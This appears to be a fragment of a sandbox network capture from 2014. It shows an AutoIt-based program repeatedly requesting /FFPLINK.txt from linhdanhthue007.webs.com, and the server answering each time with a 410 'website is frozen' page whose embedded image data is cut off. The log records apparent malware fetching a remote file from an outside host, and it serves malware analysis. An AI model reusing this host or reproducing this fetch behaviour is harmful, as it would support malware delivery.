MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:17 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:21 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:02 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:13 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:40 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:07 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:08 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:23 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC..


GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:34 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
Fkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20v
eGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLj
Avc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hv
cCBDUzUgTWFjaW50b3NoIiB4bXBNTTpJbnN0YW5jZUlEPSJ4bXAuaWlkOjMxNjcxQzhCRT
A4QzExRTBCODNFQTdFNzk3OTExODMzIiB4bXBNTTpEb2N1bWVudElEPSJ4bXAuZGlkOjMx
NjcxQzhDRTA4QzExRTBCODNFQTdFNzk3OTExODMzIj4gPHhtcE1NOkRlcml2ZWRGcm9tIH
N0UmVmOmluc3RhbmNlSUQ9InhtcC5paWQ6MzE2NzFDODlFMDhDMTFFMEI4M0VBN0U3OTc5
MTE4MzMiIHN0UmVmOmRvY3VtZW50SUQ9InhtcC5kaWQ6MzE2NzFDOEFFMDhDMTFFMEI4M0
VBN0U3OTc5MTE4MzMiLz4gPC9yZGY6RGVzY3JpcHRpb24 IDwvcmRmOlJERj4gPC94Onht
cG1ldGE IDw/eHBhY2tldCBlbmQ9InIiPz7/7gAOQWRvYmUAZMAAAAAB/9sAhAABAQEBAQ
EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAgICAgICAgICAgID

<<< skipped >>>

GET /FFPLINK.txt HTTP/1.1
User-Agent: AutoIt
Host: linhdanhthue007.webs.com
Cache-Control: no-cache
Cookie: fwww=d56a56115a080121e9045a2aa7a8a0d0eeaa157706d0d64b122b14f9ff2e4e7b


HTTP/1.1 410 Gone
Content-Type: text/html
Date: Mon, 05 May 2014 21:06:36 GMT
Connection: close
Server: Webs.com/1.0
<!DOCTYPE html>.<html>.<head>.    <META NAME="ROB
OTS" CONTENT="NOINDEX, NOFOLLOW">. <title>This website is
frozen.</title>. <style>. * { margin: 0; padding
: 0; }. body {. background: #ddd url(data:image/jpeg
;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAA
D/4QMraHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu 7
vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOn
g9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2
MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI IDxyZGY6UkRGIHhtbG
5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI
IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLm
